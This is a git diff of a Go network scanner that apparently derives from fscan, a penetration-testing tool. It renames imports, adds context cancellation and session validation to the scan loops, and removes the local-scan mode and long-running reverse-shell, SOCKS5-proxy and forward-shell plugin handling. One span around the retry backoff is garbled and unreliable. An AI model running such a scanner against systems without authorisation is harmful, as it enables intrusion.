wg.Add(1) + case <-ctx.Done(): + wg.Wait() + return aliveHosts + } go func(h string) { defer func() { diff --git a/core/icmp_test.go b/core/icmp_test.go index 6c8f1829..ba2b4454 100644 --- a/core/icmp_test.go +++ b/core/icmp_test.go @@ -1,6 +1,7 @@ package core import ( + "context" "fmt" "sync" "testing" @@ -488,6 +489,18 @@ func TestMakemsg(t *testing.T) { // TestWaitAdaptive 测试自适应等待算法 func TestWaitAdaptive(t *testing.T) { + t.Run("context cancellation", func(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + start := time.Now() + aliveHosts := []string{} + var mu sync.Mutex + waitAdaptiveContext(ctx, []string{"192.0.2.1"}, &aliveHosts, &mu) + if elapsed := time.Since(start); elapsed > 100*time.Millisecond { + t.Fatalf("cancelled adaptive wait took %s", elapsed) + } + }) + t.Run("全部响应-立即结束", func(t *testing.T) { hostslist := []string{"192.168.1.1", "192.168.1.2", "192.168.1.3"} aliveHosts := []string{"192.168.1.1", "192.168.1.2", "192.168.1.3"} // 全部存活 diff --git a/core/local_scanner.go b/core/local_scanner.go deleted file mode 100644 index 45a62258..00000000 --- a/core/local_scanner.go +++ /dev/null @@ -1,79 +0,0 @@ -package core - -import ( - "context" - "sync" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// LocalScanStrategy 本地扫描策略 -type LocalScanStrategy struct { - *BaseScanStrategy -} - -// NewLocalScanStrategy 创建新的本地扫描策略 -func NewLocalScanStrategy() *LocalScanStrategy { - return &LocalScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_local_name"), FilterLocal), - } -} - -// LogPluginInfo 重写以只显示通过-local指定的插件 -func (s *LocalScanStrategy) LogPluginInfo(config *common.Config, session *common.ScanSession) { - localPlugin := config.LocalPlugin - if localPlugin != "" { - session.LogInfo(i18n.Tr("local_plugin_info", localPlugin)) - } else { - session.LogError(i18n.GetText("local_plugin_not_specified")) - } -} - -// Name 返回策略名称 -func (s *LocalScanStrategy) Name() string { - return i18n.GetText("scan_strategy_local_name") -} - -// Description 返回策略描述 -func (s *LocalScanStrategy) Description() string { - return i18n.GetText("scan_strategy_local_desc") -} - -// Execute 执行本地扫描策略 -func (s *LocalScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { - config := session.Config - - // 输出扫描开始信息 - s.LogScanStart(session) - - // 验证插件配置 - if err := s.ValidateConfiguration(); err != nil { - session.LogError(err.Error()) - return - } - - // 验证本地插件是否存在 - if config.LocalPlugin != "" { - if !plugins.Exists(config.LocalPlugin) { - session.LogError(i18n.Tr("local_plugin_not_found", config.LocalPlugin)) - return - } - } - - // 输出插件信息 - s.LogPluginInfo(config, session) - - // 准备目标(本地扫描通常只有一个目标,即本机) - targets := s.PrepareTargets(info) - - // 执行扫描任务 - ExecuteScanTasks(ctx, session, targets, s, ch, wg) -} - -// PrepareTargets 准备本地扫描目标 -func (s *LocalScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo { - // 本地扫描只使用传入的目标信息,不做额外处理 - return []common.HostInfo{info} -} diff --git a/core/local_scanner_test.go b/core/local_scanner_test.go deleted file mode 100644 index 5167a266..00000000 --- a/core/local_scanner_test.go +++ /dev/null @@ -1,147 +0,0 @@ -package core - -import ( - "testing" - - "github.com/shadow1ng/fscan/common" -) - -// TestNewLocalScanStrategy 测试本地扫描策略构造函数 -func TestNewLocalScanStrategy(t *testing.T) { - strategy := NewLocalScanStrategy() - - if strategy == nil { - t.Fatal("NewLocalScanStrategy 返回 nil") - } - - if strategy.BaseScanStrategy == nil { - t.Error("BaseScanStrategy 未初始化") - } - - // 验证过滤器类型 - if strategy.filterType != FilterLocal { - t.Errorf("filterType: 期望 FilterLocal(%d), 实际 %d", FilterLocal, strategy.filterType) - } - - // 验证策略名称 - if strategy.strategyName != "本地扫描" { - t.Errorf("strategyName: 期望 '本地扫描', 实际 %q", strategy.strategyName) - } -} - -// TestLocalScanStrategy_PrepareTargets 测试PrepareTargets -func TestLocalScanStrategy_PrepareTargets(t *testing.T) { - strategy := NewLocalScanStrategy() - - tests := []struct { - name string - input common.HostInfo - expected int - }{ - { - name: "空HostInfo", - input: common.HostInfo{}, - expected: 1, - }, - { - name: "带Host的HostInfo", - input: common.HostInfo{ - Host: "localhost", - }, - expected: 1, - }, - { - name: "完整HostInfo", - input: common.HostInfo{ - Host: "127.0.0.1", - Port: 80, - }, - expected: 1, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - targets := strategy.PrepareTargets(tt.input) - - // 验证返回列表长度 - if len(targets) != tt.expected { - t.Errorf("PrepareTargets() 返回长度 = %d, 期望 %d", len(targets), tt.expected) - } - - // 验证返回的第一个元素与输入相同 - if len(targets) > 0 { - if targets[0].Host != tt.input.Host { - t.Errorf("targets[0].Host = %q, 期望 %q", targets[0].Host, tt.input.Host) - } - if targets[0].Port != tt.input.Port { - t.Errorf("targets[0].Port = %q, 期望 %q", targets[0].Port, tt.input.Port) - } - } - }) - } -} - -// TestLocalScanStrategy_PrepareTargets_ImmutabilityCheck 测试PrepareTargets不修改输入 -func TestLocalScanStrategy_PrepareTargets_ImmutabilityCheck(t *testing.T) { - strategy := NewLocalScanStrategy() - - original := common.HostInfo{ - Host: "192.168.1.1", - Port: 22, - } - - // 保存原始值副本 - originalHost := original.Host - originalPort := original.Port - - // 调用PrepareTargets - targets := strategy.PrepareTargets(original) - - // 验证原始输入未被修改 - if original.Host != originalHost { - t.Errorf("输入被修改: original.Host = %q, 期望 %q", original.Host, originalHost) - } - if original.Port != originalPort { - t.Errorf("输入被修改: original.Port = %d, 期望 %d", original.Port, originalPort) - } - - // 验证返回值与输入相等 - if len(targets) != 1 { - t.Fatalf("targets长度 = %d, 期望 1", len(targets)) - } - - if targets[0].Host != originalHost { - t.Errorf("targets[0].Host = %q, 期望 %q", targets[0].Host, originalHost) - } -} - -// TestLocalScanStrategy_TypeAssertion 测试类型继承关系 -func TestLocalScanStrategy_TypeAssertion(t *testing.T) { - strategy := NewLocalScanStrategy() - - // 验证类型继承 - if strategy.BaseScanStrategy == nil { - t.Error("LocalScanStrategy 未嵌入 BaseScanStrategy") - } - - // 验证可以访问BaseScanStrategy的方法 - err := strategy.ValidateConfiguration() - if err != nil { - t.Errorf("ValidateConfiguration() 应返回 nil, 实际: %v", err) - } -} - -// TestLocalScanStrategy_FieldAccess 测试字段访问 -func TestLocalScanStrategy_FieldAccess(t *testing.T) { - strategy := NewLocalScanStrategy() - - // 通过BaseScanStrategy访问私有字段 - if strategy.strategyName == "" { - t.Error("strategyName 不应为空") - } - - if strategy.filterType != FilterLocal { - t.Errorf("filterType 应为 FilterLocal, 实际 %d", strategy.filterType) - } -} diff --git a/core/network_profiler.go b/core/network_profiler.go index 228343ad..e0c64597 100644 --- a/core/network_profiler.go +++ b/core/network_profiler.go @@ -9,8 +9,8 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" ) // NetworkEnv 网络环境分类 @@ -137,9 +137,13 @@ func ProbeNetwork(ctx context.Context, hosts []string, session *common.ScanSessi default: } - total++ - wg.Add(1) - sem <- struct{}{} + select { + case sem <- struct{}{}: + total++ + wg.Add(1) + case <-ctx.Done(): + goto done + } go func(h string, p int) { defer func() { <-sem; wg.Done() }() diff --git a/core/port_scan.go b/core/port_scan.go index 9a958204..5ee89b05 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -10,10 +10,10 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common" + "scanner/common/i18n" + "scanner/common/output" + "scanner/common/parsers" ) // proxyFailurePatterns 代理连接失败的错误模式(小写) @@ -67,26 +67,44 @@ type resultCollector struct { mu sync.Mutex addrs map[string]struct{} stream chan<- string + ctx context.Context } -func newResultCollector(stream chan<- string) *resultCollector { +func newResultCollector(ctx context.Context, stream chan<- string) *resultCollector { + if ctx == nil { + ctx = context.Background() + } return &resultCollector{ addrs: make(map[string]struct{}), stream: stream, + ctx: ctx, } } -func (c *resultCollector) Add(addr string) { +func (c *resultCollector) Add(addr string) bool { c.mu.Lock() + if c.addrs == nil { + c.addrs = make(map[string]struct{}) + } if _, dup := c.addrs[addr]; dup { c.mu.Unlock() - return + return true } c.addrs[addr] = struct{}{} c.mu.Unlock() if c.stream != nil { - c.stream <- addr + ctx := c.ctx + if ctx == nil { + ctx = context.Background() + } + select { + case c.stream <- addr: + return true + case <-ctx.Done(): + return false + } } + return true } func (c *resultCollector) GetAll() []string { @@ -211,7 +229,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout adaptiveTO := NewAdaptiveTimeout(to) metrics := &ScanMetrics{} var count atomic.Int64 - collector := newResultCollector(stream) + collector := newResultCollector(ctx, stream) failedCollector := &failedPortCollector{} var wg sync.WaitGroup @@ -243,7 +261,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout session.LogDebug(i18n.GetText("port_scan_debug_schedule_start")) // 滑动窗口调度 - slidingWindowSchedule(iter, pool, &wg) + slidingWindowSchedule(ctx, iter, pool, &wg) session.LogDebug(i18n.GetText("port_scan_debug_schedule_done")) // 收集结果 @@ -289,8 +307,15 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout // slidingWindowSchedule 滑动窗口调度器 // ants.PoolWithFunc.Invoke 在池满时阻塞,天然提供反压,无需额外 semaphore -func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.WaitGroup) { +func slidingWindowSchedule(ctx context.Context, iter *SocketIterator, pool *AdaptivePool, wg *sync.WaitGroup) { for { + select { + case <-ctx.Done(): + wg.Wait() + return + default: + } + host, port, ok := iter.Next() if !ok { break @@ -302,8 +327,12 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa port: port, addr: net.JoinHostPort(host, fmtPort(port)), } - if err := pool.Invoke(task); err != nil { + if err := pool.InvokeContext(ctx, task); err != nil { wg.Done() + if ctx.Err() != nil { + wg.Wait() + return + } } } @@ -351,7 +380,13 @@ func connectWithRetry(ctx context.Context, session *common.ScanSession, addr str // 指数退避:200ms → 600ms → 1200ms if attempt < maxRetries-1 { waitTime := time.Duration(200*(1< 0: return ScanModeWeb default: @@ -95,6 +84,10 @@ func selectStrategy(config *common.Config, state *common.State, info common.Host // RunScan 执行整体扫描流程 func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) (ScanReport, error) { start := time.Now() + if err := validateRunSession(session); err != nil { + return ScanReport{Duration: time.Since(start)}, err + } + defer session.Deactivate() config := session.Config // 全局超时自适应:用户未显式指定 -gt 时,根据扫描规模自动调大 @@ -116,11 +109,8 @@ func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSess defer cancel() state := session.State - // 设置全局 State(兼容旧代码路径中未传 state 的调用) - SetGlobalState(state) - // 初始化HTTP客户端(静默,无需日志) - if err := lib.Inithttp(config); err != nil { + if err := lib.InitSessionHTTP(config, session); err != nil { session.LogError(i18n.Tr("http_client_init_failed", err)) return buildScanReport(state, start), fmt.Errorf("initialize http client: %w", err) } @@ -135,42 +125,85 @@ func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSess // 执行策略 strategy.Execute(ctx, session, info, ch, &wg) - // 等待所有扫描完成 - wg.Wait() - - // 检查是否有活跃的连接需要维持 - if state.IsReverseShellActive() || state.IsSocks5ProxyActive() || state.IsForwardShellActive() { - if state.IsReverseShellActive() { - session.LogInfo(i18n.GetText("active_reverse_shell")) - } - if state.IsSocks5ProxyActive() { - session.LogInfo(i18n.GetText("active_socks5_proxy")) - } - if state.IsForwardShellActive() { - session.LogInfo(i18n.GetText("active_forward_shell")) - } - session.LogInfo(i18n.GetText("press_ctrl_c_exit")) + // 等待所有扫描完成。取消后只给在途插件一个有界清理窗口,避免不响应 + // context 的第三方协议库永久阻塞整个扫描。 + tasksFinished := waitForScanTasks(ctx, &wg) - // 优雅等待信号或 context 取消(Web Stop) - sigChan := make(chan os.Signal, 1) - signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) - select { - case <-sigChan: - session.LogInfo(i18n.GetText("received_exit_signal")) - case <-ctx.Done(): - } - cancel() - time.Sleep(500 * time.Millisecond) + // Stop late result delivery before global output/progress finalization. + if ctx.Err() != nil { + session.Deactivate() } // 完成扫描 finishScan(session) + if !tasksFinished { + return buildScanReport(state, start), fmt.Errorf("scan cancellation grace period exceeded: %w", ctx.Err()) + } if err := ctx.Err(); err != nil { return buildScanReport(state, start), err } return buildScanReport(state, start), nil } +const scanCancellationGracePeriod = 2 * time.Second + +func validateRunSession(session *common.ScanSession) error { + if session == nil { + return fmt.Errorf("scan session is nil") + } + if session.Config == nil { + return fmt.Errorf("scan config is nil") + } + if session.State == nil { + return fmt.Errorf("scan state is nil") + } + if session.Params == nil { + return fmt.Errorf("scan parameters are nil") + } + + cfg := session.Config + switch { + case cfg.ThreadNum <= 0: + return fmt.Errorf("thread count must be greater than zero: %d", cfg.ThreadNum) + case cfg.ModuleThreadNum <= 0: + return fmt.Errorf("module thread count must be greater than zero: %d", cfg.ModuleThreadNum) + case cfg.Timeout <= 0: + return fmt.Errorf("timeout must be greater than zero: %s", cfg.Timeout) + case cfg.GlobalTimeout < 0: + return fmt.Errorf("global timeout cannot be negative: %s", cfg.GlobalTimeout) + case cfg.MaxRetries <= 0: + return fmt.Errorf("retry count must be greater than zero: %d", cfg.MaxRetries) + case cfg.POC.Num <= 0: + return fmt.Errorf("POC concurrency must be greater than zero: %d", cfg.POC.Num) + case cfg.Network.WebTimeout <= 0: + return fmt.Errorf("web timeout must be greater than zero: %s", cfg.Network.WebTimeout) + } + return nil +} + +func waitForScanTasks(ctx context.Context, wg *sync.WaitGroup) bool { + done := make(chan struct{}) + go func() { + wg.Wait() + close(done) + }() + + select { + case <-done: + return true + case <-ctx.Done(): + } + + timer := time.NewTimer(scanCancellationGracePeriod) + defer timer.Stop() + select { + case <-done: + return true + case <-timer.C: + return false + } +} + func buildScanReport(state *common.State, start time.Time) ScanReport { return ScanReport{ Duration: time.Since(start), @@ -274,13 +307,6 @@ func countApplicableTasks(targets []common.HostInfo, pluginsToRun []string, isCu return count } -// longRunningPlugins 长驻插件,不加入 scan WaitGroup,通过 ctx 取消退出 -var longRunningPlugins = map[string]bool{ - "forwardshell": true, - "socks5proxy": true, - "reverseshell": true, -} - // executeScanTask 执行单个扫描任务 func executeScanTask(ctx context.Context, session *common.ScanSession, pluginName string, target common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { state := session.State @@ -298,25 +324,6 @@ func executeScanTask(ctx context.Context, session *common.ScanSession, pluginNam } } - // 长驻插件不进 WaitGroup,通过 ctx 管理生命周期 - if longRunningPlugins[pluginName] { - ready := make(chan struct{}, 1) - go func() { - plugin := plugins.Get(pluginName) - if plugin != nil { - go func() { - time.Sleep(500 * time.Millisecond) - ready <- struct{}{} - }() - plugin.Scan(ctx, &target, session) - } else { - ready <- struct{}{} - } - }() - <-ready - return - } - wg.Add(1) // 获取并发槽位,支持取消 diff --git a/core/scanner_test.go b/core/scanner_test.go index 349793b2..565ce3f8 100644 --- a/core/scanner_test.go +++ b/core/scanner_test.go @@ -7,8 +7,8 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) /* @@ -57,6 +57,29 @@ func TestWebResultSerializerPreservesDetectedProtocol(t *testing.T) { } } +func TestValidateRunSessionRejectsInvalidRuntimeLimits(t *testing.T) { + tests := []struct { + name string + mutate func(*common.Config) + }{ + {name: "zero threads", mutate: func(cfg *common.Config) { cfg.ThreadNum = 0 }}, + {name: "negative global timeout", mutate: func(cfg *common.Config) { cfg.GlobalTimeout = -time.Second }}, + {name: "zero retries", mutate: func(cfg *common.Config) { cfg.MaxRetries = 0 }}, + {name: "zero POC concurrency", mutate: func(cfg *common.Config) { cfg.POC.Num = 0 }}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + cfg := common.NewConfig() + tt.mutate(cfg) + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + if err := validateRunSession(session); err == nil { + t.Fatal("validateRunSession() error = nil") + } + }) + } +} + // TestSelectStrategy 测试策略选择逻辑 func TestSelectStrategy(t *testing.T) { // 保存原始配置 @@ -64,12 +87,10 @@ func TestSelectStrategy(t *testing.T) { state := common.GetGlobalState() origAliveOnly := cfg.AliveOnly origMode := cfg.Mode - origLocalMode := cfg.LocalMode origURLs := state.GetURLs() defer func() { cfg.AliveOnly = origAliveOnly cfg.Mode = origMode - cfg.LocalMode = origLocalMode state.SetURLs(origURLs) }() @@ -84,7 +105,6 @@ func TestSelectStrategy(t *testing.T) { setupConfig: func() { cfg.AliveOnly = true cfg.Mode = "" - cfg.LocalMode = false state.SetURLs(nil) }, expectedType: "*core.AliveScanStrategy", @@ -95,29 +115,16 @@ func TestSelectStrategy(t *testing.T) { setupConfig: func() { cfg.AliveOnly = false cfg.Mode = "icmp" - cfg.LocalMode = false state.SetURLs(nil) }, expectedType: "*core.AliveScanStrategy", info: common.HostInfo{Host: "192.168.1.1"}, }, - { - name: "本地模式-LocalMode", - setupConfig: func() { - cfg.AliveOnly = false - cfg.Mode = "" - cfg.LocalMode = true - state.SetURLs(nil) - }, - expectedType: "*core.LocalScanStrategy", - info: common.HostInfo{Host: "localhost"}, - }, { name: "Web扫描模式-URLs非空", setupConfig: func() { cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs([]string{"http://example.com"}) }, expectedType: "*core.WebScanStrategy", @@ -128,40 +135,16 @@ func TestSelectStrategy(t *testing.T) { setupConfig: func() { cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs(nil) }, expectedType: "*core.ServiceScanStrategy", info: common.HostInfo{Host: "192.168.1.1", Port: 22}, }, - { - name: "优先级测试-AliveOnly覆盖LocalMode", - setupConfig: func() { - cfg.AliveOnly = true - cfg.Mode = "" - cfg.LocalMode = true // 被AliveOnly覆盖 - state.SetURLs(nil) - }, - expectedType: "*core.AliveScanStrategy", - info: common.HostInfo{Host: "localhost"}, - }, - { - name: "优先级测试-LocalMode覆盖URLs", - setupConfig: func() { - cfg.AliveOnly = false - cfg.Mode = "" - cfg.LocalMode = true - state.SetURLs([]string{"http://example.com"}) // 被LocalMode覆盖 - }, - expectedType: "*core.LocalScanStrategy", - info: common.HostInfo{Host: "localhost"}, - }, { name: "优先级测试-URLs覆盖默认服务扫描", setupConfig: func() { cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs([]string{"http://example.com"}) }, expectedType: "*core.WebScanStrategy", @@ -198,19 +181,16 @@ func TestSelectStrategy_AllModesDisabled(t *testing.T) { state := common.GetGlobalState() origAliveOnly := cfg.AliveOnly origMode := cfg.Mode - origLocalMode := cfg.LocalMode origURLs := state.GetURLs() defer func() { cfg.AliveOnly = origAliveOnly cfg.Mode = origMode - cfg.LocalMode = origLocalMode state.SetURLs(origURLs) }() // 设置所有模式为禁用状态 cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs(nil) info := common.HostInfo{Host: "192.168.1.1"} @@ -405,18 +385,15 @@ func TestSelectStrategy_EmptyHostInfo(t *testing.T) { state := common.GetGlobalState() origAliveOnly := cfg.AliveOnly origMode := cfg.Mode - origLocalMode := cfg.LocalMode origURLs := state.GetURLs() defer func() { cfg.AliveOnly = origAliveOnly cfg.Mode = origMode - cfg.LocalMode = origLocalMode state.SetURLs(origURLs) }() cfg.AliveOnly = false cfg.Mode = "" - cfg.LocalMode = false state.SetURLs(nil) emptyInfo := common.HostInfo{} @@ -501,61 +478,6 @@ func TestBuildScanReport_ZeroState(t *testing.T) { } } -// ============================================================================= -// determineScanMode IsLocalMode 分支测试 -// ============================================================================= - -// TestDetermineScanMode_IsLocalModeCallback 覆盖 IsLocalMode 回调分支 -func TestDetermineScanMode_IsLocalModeCallback(t *testing.T) { - // 保存原始值 - origIsLocalMode := common.IsLocalMode - defer func() { common.IsLocalMode = origIsLocalMode }() - - // 注册回调:mode == "localtest" 时认为是本地模式 - common.IsLocalMode = func(mode string) bool { - return mode == "localtest" - } - - cfg := &common.Config{ - AliveOnly: false, - Mode: "localtest", - LocalMode: false, - } - state := common.NewState() - - mode := determineScanMode(cfg, state) - if mode != ScanModeLocal { - t.Errorf("determineScanMode() = %v, 期望 ScanModeLocal", mode) - } - // 回调命中后应同时设置 LocalMode 和 LocalPlugin - if !cfg.LocalMode { - t.Error("IsLocalMode 命中后应设置 cfg.LocalMode = true") - } - if cfg.LocalPlugin != "localtest" { - t.Errorf("LocalPlugin = %q, 期望 \"localtest\"", cfg.LocalPlugin) - } -} - -// TestDetermineScanMode_IsLocalModeCallbackNoMatch 回调不命中时不影响模式 -func TestDetermineScanMode_IsLocalModeCallbackNoMatch(t *testing.T) { - origIsLocalMode := common.IsLocalMode - defer func() { common.IsLocalMode = origIsLocalMode }() - - common.IsLocalMode = func(mode string) bool { return false } - - cfg := &common.Config{ - AliveOnly: false, - Mode: "something", - LocalMode: false, - } - state := common.NewState() - - mode := determineScanMode(cfg, state) - if mode != ScanModeService { - t.Errorf("回调不命中时期望 ScanModeService, 实际 %v", mode) - } -} - // TestCountApplicableTasks_EmptyPlugins 测试空插件列表 func TestCountApplicableTasks_EmptyPlugins(t *testing.T) { targets := []common.HostInfo{ diff --git a/core/service_cache_test.go b/core/service_cache_test.go index 745ee74d..893d980f 100644 --- a/core/service_cache_test.go +++ b/core/service_cache_test.go @@ -4,8 +4,8 @@ import ( "sync" "testing" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // registerTestPlugins 注册测试用插件(名字和服务识别结果一致) diff --git a/core/service_probe.go b/core/service_probe.go index 6335cf3b..b6e243d8 100644 --- a/core/service_probe.go +++ b/core/service_probe.go @@ -10,9 +10,9 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/core/portfinger" + "scanner/common" + "scanner/common/i18n" + "scanner/core/portfinger" ) // 默认超时时间常量 diff --git a/core/service_probe_strategy_test.go b/core/service_probe_strategy_test.go index a603d368..6676404d 100644 --- a/core/service_probe_strategy_test.go +++ b/core/service_probe_strategy_test.go @@ -17,8 +17,8 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/core/portfinger" + "scanner/common" + "scanner/core/portfinger" ) // ============================================================================= diff --git a/core/service_scanner.go b/core/service_scanner.go index 4c62c921..f313cae9 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -8,10 +8,10 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/parsers" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/common/parsers" + "scanner/plugins" ) // ServiceScanStrategy 服务扫描策略 @@ -226,23 +226,21 @@ func (s *ServiceScanStrategy) scanHostBatch(ctx context.Context, session *common go EnhancedPortScan(ctx, hosts, config.Target.Ports, int64(config.Timeout.Seconds()), session, stream) - cancelled := false - for addr := range stream { - if cancelled { - continue - } + for { select { case <-ctx.Done(): - cancelled = true - continue - default: - } + return + case addr, ok := <-stream: + if !ok { + return + } - infos := s.convertToTargetInfos([]string{addr}, info) - for _, target := range infos { - for _, pluginName := range pluginsToRun { - if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) { - executeScanTask(ctx, session, pluginName, target, ch, wg) + infos := s.convertToTargetInfos([]string{addr}, info) + for _, target := range infos { + for _, pluginName := range pluginsToRun { + if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) { + executeScanTask(ctx, session, pluginName, target, ch, wg) + } } } } diff --git a/core/service_scanner_test.go b/core/service_scanner_test.go index 6518f73b..263accaa 100644 --- a/core/service_scanner_test.go +++ b/core/service_scanner_test.go @@ -3,7 +3,7 @@ package core import ( "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) /* diff --git a/core/tuning_cli_integration_test.go b/core/tuning_cli_integration_test.go index f1c1611f..2985b245 100644 --- a/core/tuning_cli_integration_test.go +++ b/core/tuning_cli_integration_test.go @@ -6,7 +6,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestCLIExplicitDefaultTuningFlagsSurviveTuneConfig(t *testing.T) { @@ -20,9 +20,9 @@ func TestCLIExplicitDefaultTuningFlagsSurviveTuneConfig(t *testing.T) { }() *common.GetFlagVars() = common.FlagVars{} - flag.CommandLine = flag.NewFlagSet("fscan-test", flag.ContinueOnError) + flag.CommandLine = flag.NewFlagSet("test", flag.ContinueOnError) os.Args = []string{ - "fscan-test", + "test", "-silent", "-h", "127.0.0.1", "-time", "3", diff --git a/core/web_scanner.go b/core/web_scanner.go index b73811ea..60b2e7db 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -10,9 +10,10 @@ import ( "strconv" "strings" "sync" + "sync/atomic" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" gmtls "github.com/tjfoc/gmsm/gmtls" ) @@ -82,7 +83,7 @@ func DetectHTTPSchemeContext(ctx context.Context, host string, port int, config if err != nil { return "" } - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + req.Header.Set("User-Agent", common.HTTPUserAgent(config)) req.Header.Set("Accept", "*/*") resp, err := session.HTTPDo(client, req) if err == nil { @@ -156,12 +157,12 @@ func (w *WebPortDetector) DetectHTTPServiceOnlyContext(ctx context.Context, host client := createHTTPClient(config, session) // 尝试HTTP - if w.tryHTTP(ctx, client, session, host, port, "http") { + if w.tryHTTP(ctx, client, session, config, host, port, "http") { return true } // 尝试HTTPS - if w.tryHTTP(ctx, client, session, host, port, "https") { + if w.tryHTTP(ctx, client, session, config, host, port, "https") { return true } @@ -183,7 +184,7 @@ func isPortReachable(ctx context.Context, host string, port int, config *common. } // tryHTTP 尝试HTTP请求 - 简化的核心逻辑 -func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, session *common.ScanSession, host string, port int, protocol string) bool { +func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, session *common.ScanSession, config *common.Config, host string, port int, protocol string) bool { // 构造URL targetURL := (&url.URL{Scheme: protocol, Host: net.JoinHostPort(host, strconv.Itoa(port))}).String() @@ -193,7 +194,7 @@ func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, sess return false } - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + req.Header.Set("User-Agent", common.HTTPUserAgent(config)) req.Header.Set("Accept", "*/*") resp, err := session.HTTPDo(client, req) @@ -212,7 +213,7 @@ func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, sess // globalState 全局 State 兼容指针(向后兼容不接受 State 的旧调用方) // 新代码应通过 State 方法访问服务缓存 -var globalState *common.State +var globalState atomic.Pointer[common.State] // IsWebServiceByFingerprint 基于服务指纹判断Web服务 - 保持API兼容 // 服务识别规则 - 编译期常量,避免运行时分配 @@ -280,14 +281,14 @@ func isDefinitelyNonWeb(serviceInfo *ServiceInfo) bool { // SetGlobalState 设置全局 State(RunScan 入口调用,兼容旧代码路径) func SetGlobalState(state *common.State) { - globalState = state + globalState.Store(state) } func resolveState(state *common.State) *common.State { if state != nil { return state } - return globalState + return globalState.Load() } // CacheServiceInfoWithState 缓存服务信息到指定 State @@ -488,7 +489,11 @@ func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInf } // 标记为Web服务,确保Web插件能识别此目标 - MarkAsWebService(urlInfo.Host, urlInfo.Port, &ServiceInfo{Name: "http"}) + if session != nil { + CacheServiceInfoWithState(session.State, urlInfo.Host, urlInfo.Port, &ServiceInfo{Name: "http"}) + } else { + MarkAsWebService(urlInfo.Host, urlInfo.Port, &ServiceInfo{Name: "http"}) + } return &urlInfo } @@ -514,4 +519,3 @@ func hasMalformedURLPort(host string) bool { } return strings.Contains(host, ":") } - diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index ec07d66c..4ed7ed3b 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -12,7 +12,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) /* @@ -734,8 +734,11 @@ func TestDetectHTTPScheme(t *testing.T) { }) t.Run("HTTP服务器检测", func(t *testing.T) { + cfg.HTTP.UserAgent = "Scanner-Test/1.0" + seenUserAgent := make(chan string, 1) // 创建HTTP测试服务器 server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + seenUserAgent <- r.UserAgent() w.WriteHeader(http.StatusOK) })) defer server.Close() @@ -752,6 +755,14 @@ func TestDetectHTTPScheme(t *testing.T) { if result != "http" { t.Errorf("DetectHTTPScheme() = %q, 期望 'http'", result) } + select { + case got := <-seenUserAgent: + if got != cfg.HTTP.UserAgent { + t.Errorf("User-Agent = %q, want %q", got, cfg.HTTP.UserAgent) + } + case <-time.After(time.Second): + t.Fatal("HTTP服务器未收到探测请求") + } }) 